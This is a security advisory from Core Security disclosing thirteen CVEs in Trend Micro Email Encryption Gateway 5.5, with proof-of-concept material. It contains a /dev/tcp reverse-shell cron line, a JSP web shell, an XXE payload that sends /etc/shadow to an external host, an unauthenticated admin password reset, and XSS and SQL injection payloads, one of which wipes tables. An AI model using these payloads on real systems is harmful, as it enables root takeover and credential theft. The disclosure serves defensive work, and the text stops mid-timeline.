Trend Micro Email Encryption Gateway XSS / Code Execution

`Core Security - Corelabs Advisory  
http://corelabs.coresecurity.com/  
  
Trend Micro Email Encryption Gateway Multiple Vulnerabilities  
  
1. *Advisory Information*  
  
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities  
Advisory ID: CORE-2017-0006  
Advisory URL:  
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities  
Date published: 2018-02-21  
Date of last update: 2018-02-21  
Vendors contacted: Trend Micro  
Release mode: Coordinated release  
  
2. *Vulnerability Information*  
  
Class: Cleartext Transmission of Sensitive Information [CWE-319],  
External Control of File Name or Path [CWE-73], Insufficient  
Verification of Data Authenticity [CWE-345], External Control of File  
Name or Path [CWE-73], Missing Authentication for Critical Function  
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of  
XML External Entity Reference [CWE-611], Improper Neutralization of  
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],  
Improper Neutralization of Input During Web Page Generation ('Cross-site  
Scripting') [CWE-79], Improper Neutralization of Input During Web Page  
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of  
Special Elements used in an SQL Command [CWE-89], Improper  
Neutralization of Special Elements used in an SQL Command [CWE-89],  
Improper Neutralization of Special Elements used in an SQL Command  
[CWE-89]  
Impact: Code execution  
Remotely Exploitable: Yes  
Locally Exploitable: Yes  
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,  
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,  
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230  
  
3. *Vulnerability Description*  
  
Trend Micro's website states that:[1]  
  
Encryption for Email Gateway is a Linux-based software solution providing  
the ability to perform the encryption and decryption of email at the  
corporate gateway, regardless of the email client, and the platform from  
which it originated. The encryption and decryption of email on the TMEEG  
client is controlled by a Policy Manager that enables an administrator  
to configure policies based on various parameters, such as sender and  
recipient email addresses, keywords, or PCI compliance. Encryption for  
Email Gateway presents itself as an SMTP interface and delivers email  
out over an SMTP to configured outbound MTAs. This enables easy  
integration with other email server-based products, be them content  
scanners, mail servers, or archiving solutions."  
  
Multiple vulnerabilities were found in the Trend Micro Email Encryption  
Gateway web console that would allow a remote unauthenticated attacker  
to gain command execution as root.  
  
We also present two additional vectors to achieve code execution from a  
man-in-the-middle position.  
  
4. *Vulnerable Packages*  
  
. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)  
Other products and versions might be affected, but they were not tested.  
  
5. *Vendor Information, Solutions and Workarounds*  
  
Trend Micro published the following Security Notes:  
  
.  
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities  
  
6. *Credits*  
  
These vulnerabilities were discovered and researched by Leandro Barragan  
and Maximiliano Vidal from Core Security Consulting Services. The  
publication of this advisory was coordinated by Alberto Solino from Core  
Advisories Team.  
  
7. *Technical Description / Proof of Concept Code*  
  
Trend Micro Email Encryption Gateway includes a web console to perform  
administrative tasks. Section 7.4 describes a vulnerability in this  
console that can be exploited to gain command execution as root. The  
vulnerable functionality is accessible only to authenticated users, but  
it is possible to combine 7.4 with the vulnerability presented in  
section 7.5 to bypass this restriction and therefore execute root  
commands from the perspective of a remote unauthenticated attacker.  
  
The application does also use an insecure update mechanism that allows  
an attacker in a man-in-the-middle position to write arbitrary files and  
install arbitrary RPM packages, leading to remote command execution as  
the root user.  
  
Additional Web application vulnerabilities were found, including  
cross-site request forgery (7.6), XML external entity injection (7.7),  
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL  
injection vulnerabilities (7.11, 7.12, 7.13).  
  
7.1. *Insecure update via HTTP*  
  
[CVE-2018-6219]  
Communication to the update servers is unencrypted. The following URL is  
fetched when the application checks for updates:  
  
/-----  
[Request #1]  
http://downloads.privatepost.com/files/TMEEG/updates/data.html  
-----/  
  
The product expects to retrieve a plain-text file with the following  
format:  
  
/-----  
[Version Info]  
[Installation RPM file name]  
[Path to release notes]  
-----/  
  
If a new update is found, then the RPM file is downloaded from the  
following URL:  
  
/-----  
[Request #2]  
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM  
file name]  
-----/  
  
This means that the product does not do any kind of certificate  
validation or public key pinning, which makes it easier for an attacker  
to eavesdrop and tamper the data.  
  
7.2. *Arbitrary file write leading to command execution*  
  
[CVE-2018-6220]  
The following code snippet is responsible for downloading the update  
file (com/identum/pmg/web/CheckForUpdates.java):  
  
/-----  
FileDownload fd = new FileDownload();  
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +  
rpmFileName)) {  
return 10;  
}  
[...]  
-----/  
  
The rpmFileName variable is controlled by the attacker, as it is taken  
from the aforementioned update file. As a consequence, the attacker  
controls the path where the update file is going to be downloaded. The  
RPM file is written by the root user with 0644 permissions. Being able  
to write to the file system as root opens the door to several code  
execution vectors on Linux machines.  
  
In this PoC we present one vector which consist on creating a cron job  
on /etc/cron.d directory.  
  
The attacker can send the following response to [Request #1]:  
  
/-----  
HTTP/1.1 200 OK  
Content-Type: text/html  
Server: Microsoft-IIS/7.5  
X-Powered-By: ASP.NET  
Date: Tue, 23 May 2017 14:39:46 GMT  
Connection: close  
Content-Length: 26  
  
5.7  
../../../../../../../etc/cron.d/test  
test.html  
-----/  
  
As a result, the server will create the file /etc/cron.d/test. Its  
contents are also controlled by the attacker. When the update launches,  
the appliance will download it from the following URL:  
  
/-----  
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test  
-----/  
  
The attacker can tamper the server's response and inject arbitrary data,  
such as a reverse shell payload:  
  
/-----  
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1  
-----/  
  
gaining code execution upon exploitation:  
  
/-----  
$ sudo nc -lvvp 1080  
Listening on [0.0.0.0] (family 0, port 1080)  
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport  
52171)  
bash: no job control in this shell  
[root@ localhost ~]# id  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
context=user_u:system_r:unconfined_t  
-----/  
  
7.3. *Unvalidated software updates*  
  
[CVE-2018-6221]  
The update mechanism described in 7.2 does not validate the RPM file  
downloaded.  
  
An attacker in a man-in-the-middle position could tamper with the RPM  
file and inject its own.  
  
The following code snippet is responsible for installing the unvalidated  
RPM (com/identum/pmg/web/CheckForUpdates.java):  
  
/-----  
try  
{  
System.out.println("running file:");  
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);  
  
Process process = Runtime.getRuntime().exec("rpm --upgrade  
--nodeps /tmp/" + rpmFileName);  
[..]  
{  
-----/  
  
In the following Proof of Concept, we crafted a malicious RPM file that  
executes a reverse shell once opened. This can be achieved by adding a  
reverse shell script to %pre section of RPM's SPEC file, which is  
executed previous to any installation step. As can be seen, this results  
in code execution as root:  
  
/-----  
$ sudo nc -lvvp 1080  
Listening on [0.0.0.0] (family 0, port 1080)  
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport  
40445)  
bash: no job control in this shell  
[root@ localhost /]# id  
uid=0(root) gid=0(root)  
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)  
context=root:system_r:rpm_script_t:SystemLow-SystemHigh  
-----/  
  
7.4. *Arbitrary logs location leading to command execution*  
  
[CVE-2018-6222]  
The location of the log files can be changed in the logConfiguration.do  
page. MimeBuildServer logs are particularly interesting because its  
contents can be controlled by an attacker.  
  
The first step is to point the log file to the Web application root. The  
following request redirects MimeBuildServer logs to  
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:  
  
/-----  
POST /logConfiguration.jsp HTTP/1.1  
Host: [server]  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: https://[server]/logConfiguration.do  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 798  
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback  
-----/  
  
The second step is to update the MimeBuilder configuration and insert  
arbitrary JSP code. One candidate is the "Encrypted meeting request  
email message" form.  
  
/-----  
POST /mimebuilderconfig.jsp HTTP/1.1  
Host: [server]  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: https://[server]/MimeBuilderConfig.do  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 2915  
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback  
-----/  
  
The next time the service components are restarted, the log file will be  
created with the desired JSP code.  
  
With the sample JSP code from the previous request, the attacker would  
then navigate to pepito.jsp and execute arbitrary commands as root:  
  
/-----  
https://[server]/pepito.jsp?cmd=id  
  
Command: id  
  
uid=0(root) gid=0(root) context=system_u:system_r:java_t  
-----/  
  
7.5. *Missing authentication for appliance registration*  
  
[CVE-2018-6223]  
The registration endpoint is provided for system administrators to  
configure the virtual appliance upon deployment. However, this endpoint  
remains accessible without authentication even after the appliance is  
configured, which would allow attackers to set configuration parameters  
such as the administrator username and password.  
  
The following request changes the administrator password to "sombrero":  
  
/-----  
POST /register.jsp HTTP/1.1  
Host: [server]  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 414  
  
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&[email protected]&contactName=Test+Test&[email protected]&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero  
-----/  
  
Note that a valid activation code is required. This code can be easily  
obtained by requesting a trial from Trend Micro's website.  
  
7.6. *Lack of cross-site request forgery protection*  
  
[CVE-2018-6224]  
There are no Anti-CSRF tokens in any forms on the Web interface. This  
would allow an attacker to submit authenticated requests when an  
authenticated user browses an attacker-controlled domain.  
  
This vulnerability can be chained with 7.4 and lead to remote command  
execution. It could also be abused to force updates once the attacker is  
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also  
lead to remote command execution.  
  
The following proof of concept starts the check for updates process.  
  
/-----  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="https://[server]/checkForUpdates.do">  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
-----/  
  
7.7. *XML external entity injection in configuration.jsp*  
  
[CVE-2018-6225]  
The pciExceptionXml parameter of the configuration.jsp script is  
vulnerable to XML external entity injection.  
  
The following proof of concept uses external entities to send the  
/etc/shadow file to an external server.  
  
/-----  
POST /configuration.jsp HTTP/1.1  
Host: [server]  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 938  
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
  
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>  
<!DOCTYPE+roottag+[  
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">  
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">  
%25dtd%3b]>  
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>  
-----/  
  
The combine.dtd file is hosted on an external server, and its contents  
are:  
  
/-----  
<?xml version="1.0" encoding="UTF-8"?>  
<!ENTITY % all "<!ENTITY send SYSTEM  
'gopher://external_server:1080/?%file;'>">  
%all;  
  
$ sudo nc -lvvp 1080  
Listening on [0.0.0.0] (family 0, port 1080)  
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport  
49676)  
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::  
bin:*:14089:0:99999:7:::  
daemon:*:14089:0:99999:7:::  
adm:*:14089:0:99999:7:::  
lp:*:14089:0:99999:7:::  
sync:*:14089:0:99999:7:::  
shutdown:*:14089:0:99999:7:::  
halt:*:14089:0:99999:7:::  
mail:*:14089:0:99999:7:::  
news:*:14089:0:99999:7:::  
uucp:*:14089:0:99999:7:::  
operator:*:14089:0:99999:7:::  
games:*:14089:0:99999:7:::  
gopher:*:14089:0:99999:7:::  
ftp:*:14089:0:99999:7:::  
nobody:*:14089:0:99999:7:::  
rpm:!!:14089:0:99999:7:::  
dbus:!!:14089:0:99999:7:::  
exim:!!:14089:0:99999:7:::  
nscd:!!:14089:0:99999:7:::  
vcsa:!!:14089:0:99999:7:::  
rpc:!!:14089:0:99999:7:::  
sshd:!!:14089:0:99999:7:::  
pcap:!!:14089:0:99999:7:::  
haldaemon:!!:14089:0:99999:7:::  
postgres:!!:14090::::::  
tomcat:!!:14090:0:99999:7:::  
xfs:!!:14179::::::  
postfix:!!:14194::::::  
-----/  
  
These actions require the user to be authenticated within the Web  
console, so an attacker would need to obtain valid credentials first.  
Possible vectors to achieve this include exploiting any of the XSS  
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF  
vulnerability described in 7.6.  
  
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*  
  
[CVE-2018-6226]  
The deniedKeysExpireTimeout and keyAge parameters of the  
keymanserverconfig.jsp script are vulnerable to cross-site scripting.  
  
The following is a proof of concept to demonstrate the vulnerability:  
  
/-----  
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback  
-----/  
  
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*  
  
[CVE-2018-6226]  
The following parameters of the mimebuilderconfig.jsp script are  
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,  
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,  
zdMainTemplate, zdMainTemplateZdv4.  
  
The following is a proof of concept to demonstrate the vulnerability:  
  
/-----  
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E  
-----/  
  
7.10. *Stored cross-site scripting in editPolicy.jsp*  
  
[CVE-2018-6227]  
The hidEmails parameter of the editPolicy.jsp script is vulnerable to  
cross-site scripting.  
  
The following request adds a policy for the email address  
"<script>alert(1)</script>":  
  
/-----  
POST /editPolicy.jsp HTTP/1.1  
Host: [server]  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: https://[server]/policies.jsp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 136  
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1  
-----/  
  
The input will be stored unescaped and rendered every time the policies.do  
script is executed.  
  
Excerpt of the policies.do source showing the injected script tag:  
  
/-----  
<tr>  
<td ondblclick="edit_policy(this);" style="border:solid 1px  
#AAAAAA;background-color:#F5F5F5;cursor:move;"  
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"  
onmouseout="mouse_out(this);"  
onmousemove="mouse_move(this, event);">Don't decrypt messages to  
<script>alert(1)</script>  
-----/  
  
7.11. *SQL injection in policies.jsp*  
  
[CVE-2018-6228]  
The hidEditId parameter of the policies.jsp script is not sanitized,  
leading to SQL injection.  
  
As can be seen in the following excerpt, the script reads a parameter  
named hidEditId and forwards it to the editPolicy.jsp script if it is  
not set to -1.  
  
From webapps/ROOT/policies.jsp:  
  
/-----  
<% if (request.getParameter("hidEditId") != null)  
if (request.getParameter("hidEditId").compareTo("-1") != 0)  
{  
String hid_edit_id = request.getParameter("hidEditId");  
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"  
value="<%= hid_edit_id %>"/></jsp:forward><%  
}  
[...]  
-----/  
  
The editPolicy.jsp script will pass this parameter without any  
modification to the loadRuleDetails method, which is defined in the  
formEditPolicy class  
  
From webapps/ROOT/editPolicy.jsp:  
  
/-----  
if (request.getParameter("editRuleId") != null)  
frm.loadRuleDetails(request.getParameter("editRuleId"));  
[...]  
-----/  
  
Finally, the loadRuleDetails method will use the unsanitized parameter  
it receives to build a dynamic SQL statement as follows:  
  
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:  
  
/-----  
public boolean loadRuleDetails(String ruleId)  
{  
_databaseError = false;  
  
  
try  
{  
_ruleId = ruleId;  
_ruleResultId = dataStore.getRuleResultId(ruleId);  
_ruleForId = dataStore.getRuleForId(ruleId);  
_ruleEmails = dataStore.getRuleAddreses(ruleId);  
_ruleSubRules = dataStore.getSubRules(ruleId);  
[...]  
  
public String getRuleResultId(String ruleId) throws SQLException  
{  
Connection cnn = MySQLClient.GetInstance().GetConnection();  
Statement query = cnn.createStatement();  
String ruleResultId = "";  
  
ResultSet rs = null;  
  
try  
{  
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine  
WHERE Id = " + ruleId);  
[...]  
-----/  
  
The contents of ruleId will be appended to the SELECT query, resulting  
in a SQL injection.  
  
The following PoC opens a policy to edit, even though the hidEditId  
parameter is invalid. Due to the "always true" comparison, the first  
element is retrieved:  
  
/-----  
POST /policies.jsp HTTP/1.1  
Host: server  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 84  
Referer: https://server/editPolicy.jsp  
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201  
-----/  
  
7.12. *SQL injection in editPolicy.jsp*  
  
[CVE-2018-6229]  
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,  
leading to SQL injection in a DELETE statement.  
  
The following excerpt shows that the request object is forwarded to the  
DeletePolicy method implemented in the formEditPolicy class.  
  
From webapps/ROOT/editPolicy.jsp:  
  
/-----  
<% if (frm.isPostBack())  
{  
if (request.getParameter("hidDelete").compareTo("YES") == 0)  
{  
frm.DeletePolicy(request);  
}  
[...]  
-----/  
  
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with  
it, without doing any sanitization.  
  
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:  
  
/-----  
public boolean DeletePolicy(HttpServletRequest request)  
{  
String ruleId = request.getParameter("hidRuleId");  
boolean success = dataStore.deletePolicy(ruleId);  
_databaseError = (!success);  
  
return success;  
}  
-----/  
  
Finally, the JPostgresDataHelper class uses the ruleId parameter to  
build dynamic SQL statements, as can be seen in the following extract.  
  
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:  
  
/-----  
public boolean deletePolicy(String ruleId)  
{  
Connection cnn = null;  
Statement query = null;  
  
boolean bSuccess = true;  
  
try  
{  
cnn = MySQLClient.GetInstance().GetConnection();  
cnn.setAutoCommit(false);  
query = cnn.createStatement();  
  
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE  
RulesEngineId = " + ruleId);  
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId  
= " + ruleId);  
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);  
[...]  
-----/  
  
The ruleId parameter will be appended as-is to the DELETE statements,  
resulting in a SQL injection.  
  
The following request will cause the RulesEmailIndex, SubRuleIndex, and  
RulesEngine tables to be truncated:  
  
/-----  
POST /editPolicy.jsp HTTP/1.1  
Host: [server]  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Referer: https://[server]/policies.jsp  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 133  
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F  
Connection: close  
Upgrade-Insecure-Requests: 1  
  
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1  
-----/  
  
  
7.13. *SQL Injection in emailSearch.jsp*  
  
[CVE-2018-6230]  
The SearchString parameter of the emailSearch.jsp script is not  
sanitized, leading to a SQL injection.  
  
As can be seen in the following excerpt, the emailSearch.jsp script  
reads a parameter named SearchString and calls the getResults method  
defined in the wsEmailSearch class.  
  
From webapps/ROOT/emailSearch.jsp:  
  
/-----  
if (session.getAttribute("UserName") != null)  
{  
response.setContentType("text/xml");  
ws.setSearchParam(request.getParameter("SearchString"));  
java.util.Vector res = ws.getResults();  
[...]  
-----/  
  
The searchParam property is not sanitized before being used to build a  
dynamic SQL query, resulting in a SQL injection in the SELECT statement.  
  
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:  
  
/-----  
public class wsEmailSearch  
{  
private String _searchParam = "";  
public void setSearchParam(String searchParam) { _searchParam =  
searchParam; }  
  
public Vector getResults()  
{  
Vector res = new Vector();  
  
Connection cnn = MySQLClient.GetInstance().GetConnection();  
try  
{  
Statement query = cnn.createStatement();  
  
ResultSet rs = query.executeQuery("SELECT address FROM  
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY  
address");  
[...]  
-----/  
  
The following proof of concept will cause all the e-mails on the  
database to be retrieved:  
  
/-----  
POST /emailSearch.jsp HTTP/1.1  
Host: server  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)  
Gecko/20100101 Firefox/53.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Content-Type: application/x-www-form-urlencoded  
Referer: https://server/policies.jsp  
Content-Length: 39  
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2  
Connection: close  
  
SearchString=' OR '%1%'='%1  
-----/  
  
8. *Report Timeline*  
2017-06-05: Core Security sent an initial notification to Trend Micro,  
including a draft advisory.  
2017-06-05: Trend Micro confirmed reception of advisory and informed  
they will submit it to the relevant technical team for validation and  
replication.  
2017-06-22: Core Security asked for an update on the vulnerability  
reported.  
2017-06-22: Trend Micro answered saying the cases are still being vetted  
and that they will commit a time when the solution is finalized.  
2017-08-28: Core Security asked again for an update on the vulnerability  
reported.  
2017-08-28: Trend Micro answered saying the team is still in the process  
of creating the official fix for the vulnerabilities, although there is  
still no official release date.  
2017-10-02: Core Security asked again for an update on the vulnerability  
reported.  
2017-10-02: Trend Micro answered saying the team are still finalizing  
the fix to ensure all vulnerabilities are covered.  
2017-11-13: Core Security asked again (4th time) for an ETA for the  
official fix. We stated we need a release date or a thorough explanation  
on why after five months there is still no date defined. If there is no  
such answer we will be forced to publish the advisory.  
2017-11-14: Trend Micro answered saying the team is still working on two  
vulnerabilities and due to the complexity and number of vulnerabilities  
overall found, their team requires more time.  
2018-01-16: Core Security asked again (5th time) for an ETA for the  
official fix.  
2018-01-23: Trend Micro answered proposing the publication date to be  
February 7th.  
2018-01-24: Core Security thanked Trend Micro's answer and asked if all  
the vulnerabilities reported in the advisory will be addressed. In  
